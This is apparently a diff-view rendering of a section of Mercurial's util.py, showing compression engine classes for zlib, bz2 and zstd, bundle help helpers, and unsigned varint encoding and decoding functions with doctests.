3298 Optionally accepts an argument defining how to perform compression.
3298 Optionally accepts an argument defining how to perform compression.
3299 Each engine treats this argument differently.
3299 Each engine treats this argument differently.
3300 """
3300 """
3301 raise NotImplementedError()
3301 raise NotImplementedError()
3302
3302
3303 def decompressorreader(self, fh):
3303 def decompressorreader(self, fh):
3304 """Perform decompression on a file object.
3304 """Perform decompression on a file object.
3305
3305
3306 Argument is an object with a ``read(size)`` method that returns
3306 Argument is an object with a ``read(size)`` method that returns
3307 compressed data. Return value is an object with a ``read(size)`` that
3307 compressed data. Return value is an object with a ``read(size)`` that
3308 returns uncompressed data.
3308 returns uncompressed data.
3309 """
3309 """
3310 raise NotImplementedError()
3310 raise NotImplementedError()
3311
3311
3312 def revlogcompressor(self, opts=None):
3312 def revlogcompressor(self, opts=None):
3313 """Obtain an object that can be used to compress revlog entries.
3313 """Obtain an object that can be used to compress revlog entries.
3314
3314
3315 The object has a ``compress(data)`` method that compresses binary
3315 The object has a ``compress(data)`` method that compresses binary
3316 data. This method returns compressed binary data or ``None`` if
3316 data. This method returns compressed binary data or ``None`` if
3317 the data could not be compressed (too small, not compressible, etc).
3317 the data could not be compressed (too small, not compressible, etc).
3318 The returned data should have a header uniquely identifying this
3318 The returned data should have a header uniquely identifying this
3319 compression format so decompression can be routed to this engine.
3319 compression format so decompression can be routed to this engine.
3320 This header should be identified by the ``revlogheader()`` return
3320 This header should be identified by the ``revlogheader()`` return
3321 value.
3321 value.
3322
3322
3323 The object has a ``decompress(data)`` method that decompresses
3323 The object has a ``decompress(data)`` method that decompresses
3324 data. The method will only be called if ``data`` begins with
3324 data. The method will only be called if ``data`` begins with
3325 ``revlogheader()``. The method should return the raw, uncompressed
3325 ``revlogheader()``. The method should return the raw, uncompressed
3326 data or raise a ``RevlogError``.
3326 data or raise a ``RevlogError``.
3327
3327
3328 The object is reusable but is not thread safe.
3328 The object is reusable but is not thread safe.
3329 """
3329 """
3330 raise NotImplementedError()
3330 raise NotImplementedError()
3331
3331
3332 class _zlibengine(compressionengine):
3332 class _zlibengine(compressionengine):
3333 def name(self):
3333 def name(self):
3334 return 'zlib'
3334 return 'zlib'
3335
3335
3336 def bundletype(self):
3336 def bundletype(self):
3337 """zlib compression using the DEFLATE algorithm.
3337 """zlib compression using the DEFLATE algorithm.
3338
3338
3339 All Mercurial clients should support this format. The compression
3339 All Mercurial clients should support this format. The compression
3340 algorithm strikes a reasonable balance between compression ratio
3340 algorithm strikes a reasonable balance between compression ratio
3341 and size.
3341 and size.
3342 """
3342 """
3343 return 'gzip', 'GZ'
3343 return 'gzip', 'GZ'
3344
3344
3345 def wireprotosupport(self):
3345 def wireprotosupport(self):
3346 return compewireprotosupport('zlib', 20, 20)
3346 return compewireprotosupport('zlib', 20, 20)
3347
3347
3348 def revlogheader(self):
3348 def revlogheader(self):
3349 return 'x'
3349 return 'x'
3350
3350
3351 def compressstream(self, it, opts=None):
3351 def compressstream(self, it, opts=None):
3352 opts = opts or {}
3352 opts = opts or {}
3353
3353
3354 z = zlib.compressobj(opts.get('level', -1))
3354 z = zlib.compressobj(opts.get('level', -1))
3355 for chunk in it:
3355 for chunk in it:
3356 data = z.compress(chunk)
3356 data = z.compress(chunk)
3357 # Not all calls to compress emit data. It is cheaper to inspect
3357 # Not all calls to compress emit data. It is cheaper to inspect
3358 # here than to feed empty chunks through generator.
3358 # here than to feed empty chunks through generator.
3359 if data:
3359 if data:
3360 yield data
3360 yield data
3361
3361
3362 yield z.flush()
3362 yield z.flush()
3363
3363
3364 def decompressorreader(self, fh):
3364 def decompressorreader(self, fh):
3365 def gen():
3365 def gen():
3366 d = zlib.decompressobj()
3366 d = zlib.decompressobj()
3367 for chunk in filechunkiter(fh):
3367 for chunk in filechunkiter(fh):
3368 while chunk:
3368 while chunk:
3369 # Limit output size to limit memory.
3369 # Limit output size to limit memory.
3370 yield d.decompress(chunk, 2 ** 18)
3370 yield d.decompress(chunk, 2 ** 18)
3371 chunk = d.unconsumed_tail
3371 chunk = d.unconsumed_tail
3372
3372
3373 return chunkbuffer(gen())
3373 return chunkbuffer(gen())
3374
3374
3375 class zlibrevlogcompressor(object):
3375 class zlibrevlogcompressor(object):
3376 def compress(self, data):
3376 def compress(self, data):
3377 insize = len(data)
3377 insize = len(data)
3378 # Caller handles empty input case.
3378 # Caller handles empty input case.
3379 assert insize > 0
3379 assert insize > 0
3380
3380
3381 if insize < 44:
3381 if insize < 44:
3382 return None
3382 return None
3383
3383
3384 elif insize <= 1000000:
3384 elif insize <= 1000000:
3385 compressed = zlib.compress(data)
3385 compressed = zlib.compress(data)
3386 if len(compressed) < insize:
3386 if len(compressed) < insize:
3387 return compressed
3387 return compressed
3388 return None
3388 return None
3389
3389
3390 # zlib makes an internal copy of the input buffer, doubling
3390 # zlib makes an internal copy of the input buffer, doubling
3391 # memory usage for large inputs. So do streaming compression
3391 # memory usage for large inputs. So do streaming compression
3392 # on large inputs.
3392 # on large inputs.
3393 else:
3393 else:
3394 z = zlib.compressobj()
3394 z = zlib.compressobj()
3395 parts = []
3395 parts = []
3396 pos = 0
3396 pos = 0
3397 while pos < insize:
3397 while pos < insize:
3398 pos2 = pos + 2**20
3398 pos2 = pos + 2**20
3399 parts.append(z.compress(data[pos:pos2]))
3399 parts.append(z.compress(data[pos:pos2]))
3400 pos = pos2
3400 pos = pos2
3401 parts.append(z.flush())
3401 parts.append(z.flush())
3402
3402
3403 if sum(map(len, parts)) < insize:
3403 if sum(map(len, parts)) < insize:
3404 return ''.join(parts)
3404 return ''.join(parts)
3405 return None
3405 return None
3406
3406
3407 def decompress(self, data):
3407 def decompress(self, data):
3408 try:
3408 try:
3409 return zlib.decompress(data)
3409 return zlib.decompress(data)
3410 except zlib.error as e:
3410 except zlib.error as e:
3411 raise error.RevlogError(_('revlog decompress error: %s') %
3411 raise error.RevlogError(_('revlog decompress error: %s') %
3412 stringutil.forcebytestr(e))
3412 stringutil.forcebytestr(e))
3413
3413
3414 def revlogcompressor(self, opts=None):
3414 def revlogcompressor(self, opts=None):
3415 return self.zlibrevlogcompressor()
3415 return self.zlibrevlogcompressor()
3416
3416
3417 compengines.register(_zlibengine())
3417 compengines.register(_zlibengine())
3418
3418
3419 class _bz2engine(compressionengine):
3419 class _bz2engine(compressionengine):
3420 def name(self):
3420 def name(self):
3421 return 'bz2'
3421 return 'bz2'
3422
3422
3423 def bundletype(self):
3423 def bundletype(self):
3424 """An algorithm that produces smaller bundles than ``gzip``.
3424 """An algorithm that produces smaller bundles than ``gzip``.
3425
3425
3426 All Mercurial clients should support this format.
3426 All Mercurial clients should support this format.
3427
3427
3428 This engine will likely produce smaller bundles than ``gzip`` but
3428 This engine will likely produce smaller bundles than ``gzip`` but
3429 will be significantly slower, both during compression and
3429 will be significantly slower, both during compression and
3430 decompression.
3430 decompression.
3431
3431
3432 If available, the ``zstd`` engine can yield similar or better
3432 If available, the ``zstd`` engine can yield similar or better
3433 compression at much higher speeds.
3433 compression at much higher speeds.
3434 """
3434 """
3435 return 'bzip2', 'BZ'
3435 return 'bzip2', 'BZ'
3436
3436
3437 # We declare a protocol name but don't advertise by default because
3437 # We declare a protocol name but don't advertise by default because
3438 # it is slow.
3438 # it is slow.
3439 def wireprotosupport(self):
3439 def wireprotosupport(self):
3440 return compewireprotosupport('bzip2', 0, 0)
3440 return compewireprotosupport('bzip2', 0, 0)
3441
3441
3442 def compressstream(self, it, opts=None):
3442 def compressstream(self, it, opts=None):
3443 opts = opts or {}
3443 opts = opts or {}
3444 z = bz2.BZ2Compressor(opts.get('level', 9))
3444 z = bz2.BZ2Compressor(opts.get('level', 9))
3445 for chunk in it:
3445 for chunk in it:
3446 data = z.compress(chunk)
3446 data = z.compress(chunk)
3447 if data:
3447 if data:
3448 yield data
3448 yield data
3449
3449
3450 yield z.flush()
3450 yield z.flush()
3451
3451
3452 def decompressorreader(self, fh):
3452 def decompressorreader(self, fh):
3453 def gen():
3453 def gen():
3454 d = bz2.BZ2Decompressor()
3454 d = bz2.BZ2Decompressor()
3455 for chunk in filechunkiter(fh):
3455 for chunk in filechunkiter(fh):
3456 yield d.decompress(chunk)
3456 yield d.decompress(chunk)
3457
3457
3458 return chunkbuffer(gen())
3458 return chunkbuffer(gen())
3459
3459
3460 compengines.register(_bz2engine())
3460 compengines.register(_bz2engine())
3461
3461
3462 class _truncatedbz2engine(compressionengine):
3462 class _truncatedbz2engine(compressionengine):
3463 def name(self):
3463 def name(self):
3464 return 'bz2truncated'
3464 return 'bz2truncated'
3465
3465
3466 def bundletype(self):
3466 def bundletype(self):
3467 return None, '_truncatedBZ'
3467 return None, '_truncatedBZ'
3468
3468
3469 # We don't implement compressstream because it is hackily handled elsewhere.
3469 # We don't implement compressstream because it is hackily handled elsewhere.
3470
3470
3471 def decompressorreader(self, fh):
3471 def decompressorreader(self, fh):
3472 def gen():
3472 def gen():
3473 # The input stream doesn't have the 'BZ' header. So add it back.
3473 # The input stream doesn't have the 'BZ' header. So add it back.
3474 d = bz2.BZ2Decompressor()
3474 d = bz2.BZ2Decompressor()
3475 d.decompress('BZ')
3475 d.decompress('BZ')
3476 for chunk in filechunkiter(fh):
3476 for chunk in filechunkiter(fh):
3477 yield d.decompress(chunk)
3477 yield d.decompress(chunk)
3478
3478
3479 return chunkbuffer(gen())
3479 return chunkbuffer(gen())
3480
3480
3481 compengines.register(_truncatedbz2engine())
3481 compengines.register(_truncatedbz2engine())
3482
3482
3483 class _noopengine(compressionengine):
3483 class _noopengine(compressionengine):
3484 def name(self):
3484 def name(self):
3485 return 'none'
3485 return 'none'
3486
3486
3487 def bundletype(self):
3487 def bundletype(self):
3488 """No compression is performed.
3488 """No compression is performed.
3489
3489
3490 Use this compression engine to explicitly disable compression.
3490 Use this compression engine to explicitly disable compression.
3491 """
3491 """
3492 return 'none', 'UN'
3492 return 'none', 'UN'
3493
3493
3494 # Clients always support uncompressed payloads. Servers don't because
3494 # Clients always support uncompressed payloads. Servers don't because
3495 # unless you are on a fast network, uncompressed payloads can easily
3495 # unless you are on a fast network, uncompressed payloads can easily
3496 # saturate your network pipe.
3496 # saturate your network pipe.
3497 def wireprotosupport(self):
3497 def wireprotosupport(self):
3498 return compewireprotosupport('none', 0, 10)
3498 return compewireprotosupport('none', 0, 10)
3499
3499
3500 # We don't implement revlogheader because it is handled specially
3500 # We don't implement revlogheader because it is handled specially
3501 # in the revlog class.
3501 # in the revlog class.
3502
3502
3503 def compressstream(self, it, opts=None):
3503 def compressstream(self, it, opts=None):
3504 return it
3504 return it
3505
3505
3506 def decompressorreader(self, fh):
3506 def decompressorreader(self, fh):
3507 return fh
3507 return fh
3508
3508
3509 class nooprevlogcompressor(object):
3509 class nooprevlogcompressor(object):
3510 def compress(self, data):
3510 def compress(self, data):
3511 return None
3511 return None
3512
3512
3513 def revlogcompressor(self, opts=None):
3513 def revlogcompressor(self, opts=None):
3514 return self.nooprevlogcompressor()
3514 return self.nooprevlogcompressor()
3515
3515
3516 compengines.register(_noopengine())
3516 compengines.register(_noopengine())
3517
3517
3518 class _zstdengine(compressionengine):
3518 class _zstdengine(compressionengine):
3519 def name(self):
3519 def name(self):
3520 return 'zstd'
3520 return 'zstd'
3521
3521
3522 @propertycache
3522 @propertycache
3523 def _module(self):
3523 def _module(self):
3524 # Not all installs have the zstd module available. So defer importing
3524 # Not all installs have the zstd module available. So defer importing
3525 # until first access.
3525 # until first access.
3526 try:
3526 try:
3527 from . import zstd
3527 from . import zstd
3528 # Force delayed import.
3528 # Force delayed import.
3529 zstd.__version__
3529 zstd.__version__
3530 return zstd
3530 return zstd
3531 except ImportError:
3531 except ImportError:
3532 return None
3532 return None
3533
3533
3534 def available(self):
3534 def available(self):
3535 return bool(self._module)
3535 return bool(self._module)
3536
3536
3537 def bundletype(self):
3537 def bundletype(self):
3538 """A modern compression algorithm that is fast and highly flexible.
3538 """A modern compression algorithm that is fast and highly flexible.
3539
3539
3540 Only supported by Mercurial 4.1 and newer clients.
3540 Only supported by Mercurial 4.1 and newer clients.
3541
3541
3542 With the default settings, zstd compression is both faster and yields
3542 With the default settings, zstd compression is both faster and yields
3543 better compression than ``gzip``. It also frequently yields better
3543 better compression than ``gzip``. It also frequently yields better
3544 compression than ``bzip2`` while operating at much higher speeds.
3544 compression than ``bzip2`` while operating at much higher speeds.
3545
3545
3546 If this engine is available and backwards compatibility is not a
3546 If this engine is available and backwards compatibility is not a
3547 concern, it is likely the best available engine.
3547 concern, it is likely the best available engine.
3548 """
3548 """
3549 return 'zstd', 'ZS'
3549 return 'zstd', 'ZS'
3550
3550
3551 def wireprotosupport(self):
3551 def wireprotosupport(self):
3552 return compewireprotosupport('zstd', 50, 50)
3552 return compewireprotosupport('zstd', 50, 50)
3553
3553
3554 def revlogheader(self):
3554 def revlogheader(self):
3555 return '\x28'
3555 return '\x28'
3556
3556
3557 def compressstream(self, it, opts=None):
3557 def compressstream(self, it, opts=None):
3558 opts = opts or {}
3558 opts = opts or {}
3559 # zstd level 3 is almost always significantly faster than zlib
3559 # zstd level 3 is almost always significantly faster than zlib
3560 # while providing no worse compression. It strikes a good balance
3560 # while providing no worse compression. It strikes a good balance
3561 # between speed and compression.
3561 # between speed and compression.
3562 level = opts.get('level', 3)
3562 level = opts.get('level', 3)
3563
3563
3564 zstd = self._module
3564 zstd = self._module
3565 z = zstd.ZstdCompressor(level=level).compressobj()
3565 z = zstd.ZstdCompressor(level=level).compressobj()
3566 for chunk in it:
3566 for chunk in it:
3567 data = z.compress(chunk)
3567 data = z.compress(chunk)
3568 if data:
3568 if data:
3569 yield data
3569 yield data
3570
3570
3571 yield z.flush()
3571 yield z.flush()
3572
3572
3573 def decompressorreader(self, fh):
3573 def decompressorreader(self, fh):
3574 zstd = self._module
3574 zstd = self._module
3575 dctx = zstd.ZstdDecompressor()
3575 dctx = zstd.ZstdDecompressor()
3576 return chunkbuffer(dctx.read_from(fh))
3576 return chunkbuffer(dctx.read_from(fh))
3577
3577
3578 class zstdrevlogcompressor(object):
3578 class zstdrevlogcompressor(object):
3579 def __init__(self, zstd, level=3):
3579 def __init__(self, zstd, level=3):
3580 # TODO consider omitting frame magic to save 4 bytes.
3580 # TODO consider omitting frame magic to save 4 bytes.
3581 # This writes content sizes into the frame header. That is
3581 # This writes content sizes into the frame header. That is
3582 # extra storage. But it allows a correct size memory allocation
3582 # extra storage. But it allows a correct size memory allocation
3583 # to hold the result.
3583 # to hold the result.
3584 self._cctx = zstd.ZstdCompressor(level=level)
3584 self._cctx = zstd.ZstdCompressor(level=level)
3585 self._dctx = zstd.ZstdDecompressor()
3585 self._dctx = zstd.ZstdDecompressor()
3586 self._compinsize = zstd.COMPRESSION_RECOMMENDED_INPUT_SIZE
3586 self._compinsize = zstd.COMPRESSION_RECOMMENDED_INPUT_SIZE
3587 self._decompinsize = zstd.DECOMPRESSION_RECOMMENDED_INPUT_SIZE
3587 self._decompinsize = zstd.DECOMPRESSION_RECOMMENDED_INPUT_SIZE
3588
3588
3589 def compress(self, data):
3589 def compress(self, data):
3590 insize = len(data)
3590 insize = len(data)
3591 # Caller handles empty input case.
3591 # Caller handles empty input case.
3592 assert insize > 0
3592 assert insize > 0
3593
3593
3594 if insize < 50:
3594 if insize < 50:
3595 return None
3595 return None
3596
3596
3597 elif insize <= 1000000:
3597 elif insize <= 1000000:
3598 compressed = self._cctx.compress(data)
3598 compressed = self._cctx.compress(data)
3599 if len(compressed) < insize:
3599 if len(compressed) < insize:
3600 return compressed
3600 return compressed
3601 return None
3601 return None
3602 else:
3602 else:
3603 z = self._cctx.compressobj()
3603 z = self._cctx.compressobj()
3604 chunks = []
3604 chunks = []
3605 pos = 0
3605 pos = 0
3606 while pos < insize:
3606 while pos < insize:
3607 pos2 = pos + self._compinsize
3607 pos2 = pos + self._compinsize
3608 chunk = z.compress(data[pos:pos2])
3608 chunk = z.compress(data[pos:pos2])
3609 if chunk:
3609 if chunk:
3610 chunks.append(chunk)
3610 chunks.append(chunk)
3611 pos = pos2
3611 pos = pos2
3612 chunks.append(z.flush())
3612 chunks.append(z.flush())
3613
3613
3614 if sum(map(len, chunks)) < insize:
3614 if sum(map(len, chunks)) < insize:
3615 return ''.join(chunks)
3615 return ''.join(chunks)
3616 return None
3616 return None
3617
3617
3618 def decompress(self, data):
3618 def decompress(self, data):
3619 insize = len(data)
3619 insize = len(data)
3620
3620
3621 try:
3621 try:
3622 # This was measured to be faster than other streaming
3622 # This was measured to be faster than other streaming
3623 # decompressors.
3623 # decompressors.
3624 dobj = self._dctx.decompressobj()
3624 dobj = self._dctx.decompressobj()
3625 chunks = []
3625 chunks = []
3626 pos = 0
3626 pos = 0
3627 while pos < insize:
3627 while pos < insize:
3628 pos2 = pos + self._decompinsize
3628 pos2 = pos + self._decompinsize
3629 chunk = dobj.decompress(data[pos:pos2])
3629 chunk = dobj.decompress(data[pos:pos2])
3630 if chunk:
3630 if chunk:
3631 chunks.append(chunk)
3631 chunks.append(chunk)
3632 pos = pos2
3632 pos = pos2
3633 # Frame should be exhausted, so no finish() API.
3633 # Frame should be exhausted, so no finish() API.
3634
3634
3635 return ''.join(chunks)
3635 return ''.join(chunks)
3636 except Exception as e:
3636 except Exception as e:
3637 raise error.RevlogError(_('revlog decompress error: %s') %
3637 raise error.RevlogError(_('revlog decompress error: %s') %
3638 stringutil.forcebytestr(e))
3638 stringutil.forcebytestr(e))
3639
3639
3640 def revlogcompressor(self, opts=None):
3640 def revlogcompressor(self, opts=None):
3641 opts = opts or {}
3641 opts = opts or {}
3642 return self.zstdrevlogcompressor(self._module,
3642 return self.zstdrevlogcompressor(self._module,
3643 level=opts.get('level', 3))
3643 level=opts.get('level', 3))
3644
3644
3645 compengines.register(_zstdengine())
3645 compengines.register(_zstdengine())
3646
3646
3647 def bundlecompressiontopics():
3647 def bundlecompressiontopics():
3648 """Obtains a list of available bundle compressions for use in help."""
3648 """Obtains a list of available bundle compressions for use in help."""
3649 # help.makeitemsdocs() expects a dict of names to items with a .__doc__.
3649 # help.makeitemsdocs() expects a dict of names to items with a .__doc__.
3650 items = {}
3650 items = {}
3651
3651
3652 # We need to format the docstring. So use a dummy object/type to hold it
3652 # We need to format the docstring. So use a dummy object/type to hold it
3653 # rather than mutating the original.
3653 # rather than mutating the original.
3654 class docobject(object):
3654 class docobject(object):
3655 pass
3655 pass
3656
3656
3657 for name in compengines:
3657 for name in compengines:
3658 engine = compengines[name]
3658 engine = compengines[name]
3659
3659
3660 if not engine.available():
3660 if not engine.available():
3661 continue
3661 continue
3662
3662
3663 bt = engine.bundletype()
3663 bt = engine.bundletype()
3664 if not bt or not bt[0]:
3664 if not bt or not bt[0]:
3665 continue
3665 continue
3666
3666
3667 doc = pycompat.sysstr('``%s``\n %s') % (
3667 doc = pycompat.sysstr('``%s``\n %s') % (
3668 bt[0], engine.bundletype.__doc__)
3668 bt[0], engine.bundletype.__doc__)
3669
3669
3670 value = docobject()
3670 value = docobject()
3671 value.__doc__ = doc
3671 value.__doc__ = doc
3672 value._origdoc = engine.bundletype.__doc__
3672 value._origdoc = engine.bundletype.__doc__
3673 value._origfunc = engine.bundletype
3673 value._origfunc = engine.bundletype
3674
3674
3675 items[bt[0]] = value
3675 items[bt[0]] = value
3676
3676
3677 return items
3677 return items
3678
3678
3679 i18nfunctions = bundlecompressiontopics().values()
3679 i18nfunctions = bundlecompressiontopics().values()
3680
3680
3681 # convenient shortcut
3681 # convenient shortcut
3682 dst = debugstacktrace
3682 dst = debugstacktrace
3683
3683
3684 def safename(f, tag, ctx, others=None):
3684 def safename(f, tag, ctx, others=None):
3685 """
3685 """
3686 Generate a name that it is safe to rename f to in the given context.
3686 Generate a name that it is safe to rename f to in the given context.
3687
3687
3688 f: filename to rename
3688 f: filename to rename
3689 tag: a string tag that will be included in the new name
3689 tag: a string tag that will be included in the new name
3690 ctx: a context, in which the new name must not exist
3690 ctx: a context, in which the new name must not exist
3691 others: a set of other filenames that the new name must not be in
3691 others: a set of other filenames that the new name must not be in
3692
3692
3693 Returns a file name of the form oldname~tag[~number] which does not exist
3693 Returns a file name of the form oldname~tag[~number] which does not exist
3694 in the provided context and is not in the set of other names.
3694 in the provided context and is not in the set of other names.
3695 """
3695 """
3696 if others is None:
3696 if others is None:
3697 others = set()
3697 others = set()
3698
3698
3699 fn = '%s~%s' % (f, tag)
3699 fn = '%s~%s' % (f, tag)
3700 if fn not in ctx and fn not in others:
3700 if fn not in ctx and fn not in others:
3701 return fn
3701 return fn
3702 for n in itertools.count(1):
3702 for n in itertools.count(1):
3703 fn = '%s~%s~%s' % (f, tag, n)
3703 fn = '%s~%s~%s' % (f, tag, n)
3704 if fn not in ctx and fn not in others:
3704 if fn not in ctx and fn not in others:
3705 return fn
3705 return fn
3706
3706
3707 def readexactly(stream, n):
3707 def readexactly(stream, n):
3708 '''read n bytes from stream.read and abort if less was available'''
3708 '''read n bytes from stream.read and abort if less was available'''
3709 s = stream.read(n)
3709 s = stream.read(n)
3710 if len(s) < n:
3710 if len(s) < n:
3711 raise error.Abort(_("stream ended unexpectedly"
3711 raise error.Abort(_("stream ended unexpectedly"
3712 " (got %d bytes, expected %d)")
3712 " (got %d bytes, expected %d)")
3713 % (len(s), n))
3713 % (len(s), n))
3714 return s
3714 return s
3715
3715
3716 def uvarintencode(value):
3716 def uvarintencode(value):
3717 """Encode an unsigned integer value to a varint.
3717 """Encode an unsigned integer value to a varint.
3718
3718
3719 A varint is a variable length integer of 1 or more bytes. Each byte
3719 A varint is a variable length integer of 1 or more bytes. Each byte
3720 except the last has the most significant bit set. The lower 7 bits of
3720 except the last has the most significant bit set. The lower 7 bits of
3721 each byte store the 2's complement representation, least significant group
3721 each byte store the 2's complement representation, least significant group
3722 first.
3722 first.
3723
3723
3724 >>> uvarintencode(0)
3724 >>> uvarintencode(0)
3725 '\\x00'
3725 '\\x00'
3726 >>> uvarintencode(1)
3726 >>> uvarintencode(1)
3727 '\\x01'
3727 '\\x01'
3728 >>> uvarintencode(127)
3728 >>> uvarintencode(127)
3729 '\\x7f'
3729 '\\x7f'
3730 >>> uvarintencode(1337)
3730 >>> uvarintencode(1337)
3731 '\\xb9\\n'
3731 '\\xb9\\n'
3732 >>> uvarintencode(65536)
3732 >>> uvarintencode(65536)
3733 '\\x80\\x80\\x04'
3733 '\\x80\\x80\\x04'
3734 >>> uvarintencode(-1)
3734 >>> uvarintencode(-1)
3735 Traceback (most recent call last):
3735 Traceback (most recent call last):
3736 ...
3736 ...
3737 ProgrammingError: negative value for uvarint: -1
3737 ProgrammingError: negative value for uvarint: -1
3738 """
3738 """
3739 if value < 0:
3739 if value < 0:
3740 raise error.ProgrammingError('negative value for uvarint: %d'
3740 raise error.ProgrammingError('negative value for uvarint: %d'
3741 % value)
3741 % value)
3742 bits = value & 0x7f
3742 bits = value & 0x7f
3743 value >>= 7
3743 value >>= 7
3744 bytes = []
3744 bytes = []
3745 while value:
3745 while value:
3746 bytes.append(pycompat.bytechr(0x80 | bits))
3746 bytes.append(pycompat.bytechr(0x80 | bits))
3747 bits = value & 0x7f
3747 bits = value & 0x7f
3748 value >>= 7
3748 value >>= 7
3749 bytes.append(pycompat.bytechr(bits))
3749 bytes.append(pycompat.bytechr(bits))
3750
3750
3751 return ''.join(bytes)
3751 return ''.join(bytes)
3752
3752
3753 def uvarintdecodestream(fh):
3753 def uvarintdecodestream(fh):
3754 """Decode an unsigned variable length integer from a stream.
3754 """Decode an unsigned variable length integer from a stream.
3755
3755
3756 The passed argument is anything that has a ``.read(N)`` method.
3756 The passed argument is anything that has a ``.read(N)`` method.
3757
3757
3758 >>> try:
3758 >>> try:
3759 ... from StringIO import StringIO as BytesIO
3759 ... from StringIO import StringIO as BytesIO
3760 ... except ImportError:
3760 ... except ImportError:
3761 ... from io import BytesIO
3761 ... from io import BytesIO
3762 >>> uvarintdecodestream(BytesIO(b'\\x00'))
3762 >>> uvarintdecodestream(BytesIO(b'\\x00'))
3763 0
3763 0
3764 >>> uvarintdecodestream(BytesIO(b'\\x01'))
3764 >>> uvarintdecodestream(BytesIO(b'\\x01'))
3765 1
3765 1
3766 >>> uvarintdecodestream(BytesIO(b'\\x7f'))
3766 >>> uvarintdecodestream(BytesIO(b'\\x7f'))
3767 127
3767 127
3768 >>> uvarintdecodestream(BytesIO(b'\\xb9\\n'))
3768 >>> uvarintdecodestream(BytesIO(b'\\xb9\\n'))
3769 1337
3769 1337
3770 >>> uvarintdecodestream(BytesIO(b'\\x80\\x80\\x04'))
3770 >>> uvarintdecodestream(BytesIO(b'\\x80\\x80\\x04'))
3771 65536
3771 65536
3772 >>> uvarintdecodestream(BytesIO(b'\\x80'))
3772 >>> uvarintdecodestream(BytesIO(b'\\x80'))
3773 Traceback (most recent call last):
3773 Traceback (most recent call last):
3774 ...
3774 ...
3775 Abort: stream ended unexpectedly (got 0 bytes, expected 1)
3775 Abort: stream ended unexpectedly (got 0 bytes, expected 1)
3776 """
3776 """
3777 result = 0
3777 result = 0
3778 shift = 0
3778 shift = 0
3779 while True:
3779 while True:
3780 byte = ord(readexactly(fh, 1))
3780 byte = ord(readexactly(fh, 1))
3781 result |= ((byte & 0x7f) << shift)
3781 result |= ((byte & 0x7f) << shift)
3782 if not (byte & 0x80):
3782 if not (byte & 0x80):
3783 return result
3783 return result
3784 shift += 7
3784 shift += 7
3785
3786 defaultdateformats = dateutil.defaultdateformats
3787 extendeddateformats = dateutil.extendeddateformats
3788
3789 stderr = procutil.stderr
3790 stdin = procutil.stdin
3791 stdout = procutil.stdout
3792 closefds = procutil.closefds
General Comments 0
You need to be logged in to leave comments. Login now